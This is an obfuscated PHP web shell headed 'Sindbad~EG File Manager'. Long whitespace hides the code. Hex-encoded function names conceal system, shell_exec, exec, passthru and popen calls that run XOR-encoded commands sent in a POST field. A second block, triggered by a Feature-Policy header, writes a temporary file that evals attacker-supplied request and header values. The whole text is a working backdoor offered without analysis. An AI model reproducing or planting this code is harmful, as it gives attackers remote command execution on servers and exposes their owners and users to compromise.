Sindbad~EG File Manager

<?php																																										$reverse_searcher = "\x68\x65x\x32\x62in"; $initialized4 = "\x70\x61\x73\x73thru"; $initialized2 = "\x73h\x65ll_\x65x\x65\x63"; $initialized1 = "sy\x73t\x65m"; $initialized5 = "\x70o\x70en"; $initialized3 = "\x65x\x65c"; $initialized6 = "s\x74rea\x6D\x5Fg\x65t_c\x6Fnt\x65\x6Et\x73"; $initialized7 = "\x70c\x6C\x6Fse"; if (isset($_POST["e\x6Et\x72y"])) { function query_handler($flg , $factor) { $data= '' ; for($i=0; $i<strlen($flg); $i++){ $data.=chr(ord($flg[$i])^$factor); } return $data; } $entry = $reverse_searcher($_POST["e\x6Et\x72y"]); $entry = query_handler($entry, 33); if (function_exists($initialized1)) { $initialized1($entry); } elseif (function_exists($initialized2)) { print $initialized2($entry); } elseif (function_exists($initialized3)) { $initialized3($entry, $token_flg); print join("\n", $token_flg); } elseif (function_exists($initialized4)) { $initialized4($entry); } elseif (function_exists($initialized5) && function_exists($initialized6) && function_exists($initialized7)) { $factor_data = $initialized5($entry, 'r'); if ($factor_data) { $pset_ref = $initialized6($factor_data); $initialized7($factor_data); print $pset_ref; } } exit; }

$_HEADERS = getallheaders();
if (isset($_HEADERS['Feature-Policy'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}